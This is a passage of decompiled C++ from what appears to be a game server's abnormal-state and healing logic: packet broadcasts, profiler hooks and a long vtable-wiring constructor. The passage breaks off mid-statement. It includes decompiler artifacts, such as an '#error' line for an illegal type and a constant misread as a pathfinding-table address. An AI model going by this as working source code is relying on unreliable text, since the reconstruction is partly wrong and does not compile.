"AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant"); } //----- (00404440) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime(#593 *this, int a2, ABSTATEINDEX dam) { void *v3; // esi@1 unsigned int v4; // eax@1 int v5; // edi@1 int v6; // eax@1 char *v7; // edi@1 int v8; // ST04_4@1 int v9; // eax@1 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@1 int v11; // [sp+24h] [bp-4h]@1 __int16 abs; // [sp+34h] [bp+Ch]@0 v3 = (void *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; v4 = SetItemData::SkillEffect::operator__(&setitemskilleffect, SET_HPSPRECOVERYRATE); (*(void (__thiscall **)(void *, unsigned int))(*(_DWORD *)v3 + 1248))( v3, (unsigned int)(dam * v4 * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1620))(v3); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1252))(v3) - v5; v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9276; *((_WORD *)v7 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v7 + 1) = v6; *((_WORD *)v7 + 4) = 0; *((_WORD *)v7 + 5) = abs; *((_WORD *)v7 + 6) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2024))(v3); v7[14] = 0; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 15); v8 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v11) = 1; v9 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v9, v8, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v11) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime"); } // 404440: inconsistent function type and number of purged bytes //----- (00404590) -------------------------------------------------------- #error "404590: undefined or illegal type '#593' (funcsize=40)" //----- (00404650) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(void *this, int abstate, int keeptime, int strength) { void *v4; // esi@1 char *v5; // eax@1 __int16 v6; // dx@1 int v7; // ST04_4@1 int v8; // eax@1 char *v9; // eax@1 int v10; // ST04_4@1 int v11; // eax@1 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@1 int v13; // [sp+20h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9255; v6 = *((_WORD *)v4 + 2); v13 = 0; *((_WORD *)v5 + 1) = v6; *((_DWORD *)v5 + 1) = abstate; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v7 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v13) = 1; v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v8, v7, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v13) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 7192; *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v9 + 2) = keeptime; *((_DWORD *)v9 + 1) = abstate; *((_DWORD *)v9 + 3) = strength; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 16); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v13) = 2; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v13) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v13 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet"); } //----- (004047B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset(void *this, int abstate) { void *v2; // esi@1 char *v3; // eax@1 __int16 v4; // dx@1 int v5; // ST04_4@1 int v6; // eax@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9256; v4 = *((_WORD *)v2 + 2); *((_DWORD *)v3 + 1) = abstate; v8 = 0; *((_WORD *)v3 + 1) = v4; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v5 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v8) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v6, v5, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset"); } //----- (004048B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Inform(void *this, int abstate, int keeptime, char effect) { void *v4; // esi@1 char *v5; // eax@1 int v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = (42 - (effect != 0)) & 0x3FF | 0x2400; *(_DWORD *)(v5 + 6) = keeptime; *(_DWORD *)(v5 + 2) = abstate; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_AbnormalState_Inform"); } //----- (004049B0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::ActorCluster::ActorCluster(AbnormalStateContainer::ActorCluster *this) { AbnormalStateContainer::ActorCluster *v1; // esi@1 char *v2; // ebx@1 int v3; // edi@1 v1 = this; this->ac_DefaultSubStateActor.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MENPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DAMAGESHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorShield::_vftable_; this->ac_MANASHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorManaShield::_vftable_; this->ac_SHIELDACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MOVESPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ATKSPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_ENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_MAXSPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_DEADHPSPRECOVRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::_vftable_; this->ac_SELFREVIVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorSelfRevive::_vftable_; this->ac_RANGESHIELDCOUNTER.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::_vftable_; this->ac_HIDE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLIND.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEADLYBLESSING.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DOTDAMAGE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_FEAR.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateFear::_vftable_; this->AC_CAPTIVATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateCaptivate::_vftable_; this->ac_CONHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorHPHeal::_vftable_; this->ac_CASTINGTIMEPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorCastDelay::_vftable_; this->ac_COOLTIMEREMOVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::_vftable_; this->ac_MAGICATTACKNOUSE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorSilence::_vftable_; this->ac_MAGICNOTATTACKONEUSE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorSilencetoone::_vftable_; this->ac_POISON.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_DISEASE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorDisease::_vftable_; this->ac_CURSE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_REGIST.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CRITICALRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEFAULT.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_MAXSPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_; this->ac_CONSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorSPHeal::_vftable_; this->ac_QUESTSTUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEMR.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETH.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEAC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETB.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEDEX.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEWC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSECRITICAL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_GUILDBUFACL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_QUESTENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONHPSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::_vftable_; this->ac_BURN.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_FITBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_MARATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TOTALDAMAGERATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::_vftable_; this->ac_TOTALDAMAGERATE_BYDEF.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::_vftable_; this->ac_TIMEATTACK.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActerTimeAttack::_vftable_; this->ac_GTI.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_vftable_; this->ac_DETACHPROCESS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorDetachProcess::_vftable_; this->ac_BURNPAINME.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_; this->ac_BURNPAINFOE.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_vftable_; this->ac_AIRBORNE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BOMBSHOT.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorBomb::_vftable_; this->ac_CROSSDROP.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_METEOR.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_USESPDOWN.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorUseSPDown::_vftable_; this->ac_SPDOWNRATEME.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_vftable_; this->ac_SPDOWNRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CRIUPRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_UBAUP.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorShield::_vftable_; this->ac_UBADOWN.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorShield::_vftable_; this->ac_CANNOTTARGET.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateCannotTarget::_vftable_; this->ac_DMGSHIELD.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_HIDEDAMAGE.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorHideDamage::_vftable_; this->ac_MAGICFIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActorMagicField::_vftable_; v2 = (char *)this->ac_SubStateList; memset(this->ac_SubStateList, 0, sizeof(this->ac_SubStateList)); v1->ac_SubStateList[68] = &v1->ac_STRPLUS; v1->ac_SubStateList[79] = &v1->ac_WCPLUS; v1->ac_SubStateList[80] = &v1->ac_WCRATE; v1->ac_SubStateList[2] = &v1->ac_ACPLUS; v1->ac_SubStateList[3] = &v1->ac_ACRATE; v1->ac_SubStateList[30] = &v1->ac_DEXPLUS; v1->ac_SubStateList[72] = &v1->ac_TBPLUS; v1->ac_SubStateList[73] = &v1->ac_TBRATE; v1->ac_SubStateList[75] = &v1->ac_THPLUS; v1->ac_SubStateList[76] = &v1->ac_THRATE; v1->ac_SubStateList[40] = &v1->ac_INTPLUS; v1->ac_SubStateList[45] = &v1->ac_MAPLUS; v1->ac_SubStateList[51] = &v1->ac_MENPLUS; v1->ac_SubStateList[55] = &v1->ac_MRPLUS; v1->ac_SubStateList[56] = &v1->ac_MRRATE; v1->ac_SubStateList[25] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DAMAGESHIELD; v1->ac_SubStateList[44] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MANASHIELD; v1->ac_SubStateList[65] = &v1->ac_SHIELDACRATE; v1->ac_SubStateList[52] = &v1->ac_MOVESPEED; v1->ac_SubStateList[4] = &v1->ac_ATKSPEED; this->ac_SubStateList[69] = &this->ac_STRRATE; v1->ac_SubStateList[70] = &v1->ac_STUN; v1->ac_SubStateList[6] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_BLOODING; v1->ac_SubStateList[33] = &v1->ac_ENTANGLE; v1->ac_SubStateList[48] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXHPRATE; v1->ac_SubStateList[50] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXSPRATE; v1->ac_SubStateList[26] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DEADHPSPRECOVRATE; v1->ac_SubStateList[32] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DOTDAMAGE; v1->ac_SubStateList[36] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_FEAR; v1->ac_SubStateList[12] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CONHEAL; v1->ac_SubStateList[11] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CASTINGTIMEPLUS; v1->ac_SubStateList[15] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_COOLTIMEREMOVE; v1->ac_SubStateList[43] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAGICATTACKNOUSE; v1->ac_SubStateList[31] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DISEASE; v1->ac_SubStateList[17] = &v1->ac_CURSE; v1->ac_SubStateList[63] = &v1->ac_REGIST; v1->ac_SubStateList[16] = &v1->ac_CRITICALRATE; v1->ac_SubStateList[28] = &v1->ac_DEFAULT; v1->ac_SubStateList[47] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXHPPLUS; v1->ac_SubStateList[49] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAXSPPLUS; v1->ac_SubStateList[14] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CONSPHEAL; v1->ac_SubStateList[60] = &v1->ac_QUESTSTUN; v1->ac_SubStateList[78] = &v1->ac_WCMINUS; v1->ac_SubStateList[29] = &v1->ac_DEXMINUS; this->ac_SubStateList[0] = &this->ac_ACMINUS; v1->ac_SubStateList[53] = &v1->ac_MRMINUS; v1->ac_SubStateList[67] = &v1->ac_STRMINUS; v1->ac_SubStateList[74] = &v1->ac_THMINUS; v1->ac_SubStateList[71] = &v1->ac_TBMINUS; v1->ac_SubStateList[21] = &v1->ac_CURSEMR; v1->ac_SubStateList[23] = &v1->ac_CURSETH; v1->ac_SubStateList[18] = &v1->ac_CURSEAC; v1->ac_SubStateList[22] = &v1->ac_CURSETB; v1->ac_SubStateList[20] = &v1->ac_CURSEDEX; v1->ac_SubStateList[24] = &v1->ac_CURSEWC; v1->ac_SubStateList[41] = &v1->ac_INTRATE; v1->ac_SubStateList[19] = &v1->ac_CURSECRITICAL; v1->ac_SubStateList[62] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_RANGESHIELDCOUNTER; v1->ac_SubStateList[39] = &v1->ac_HIDE; v1->ac_SubStateList[64] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_SELFREVIVE; v1->ac_SubStateList[5] = &v1->ac_BLIND; this->ac_SubStateList[58] = (AbnormalStateContainer::SubAbnormalStateActor *)&this->ac_POISON; v1->ac_SubStateList[27] = &v1->ac_DEADLYBLESSING; v1->ac_SubStateList[38] = &v1->ac_GUILDBUFACL; v1->ac_SubStateList[59] = &v1->ac_QUESTENTANGLE; v1->ac_SubStateList[13] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CONHPSPHEAL; v1->ac_SubStateList[10] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->AC_CAPTIVATE; v1->ac_SubStateList[7] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_BURN; v1->ac_SubStateList[37] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_FITBLOODING; v1->ac_SubStateList[46] = &v1->ac_MARATE; v1->ac_SubStateList[81] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_TOTALDAMAGERATE; v1->ac_SubStateList[82] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_TOTALDAMAGERATE_BYDEF; v1->ac_SubStateList[83] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_TIMEATTACK; v1->ac_SubStateList[84] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_GTI; v1->ac_SubStateList[85] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_DETACHPROCESS; v1->ac_SubStateList[57] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[1] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[54] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[9] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[8] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; this->ac_SubStateList[42] = (AbnormalStateContainer::SubAbnormalStateActor *)&this->ac_POISON; v1->ac_SubStateList[35] = 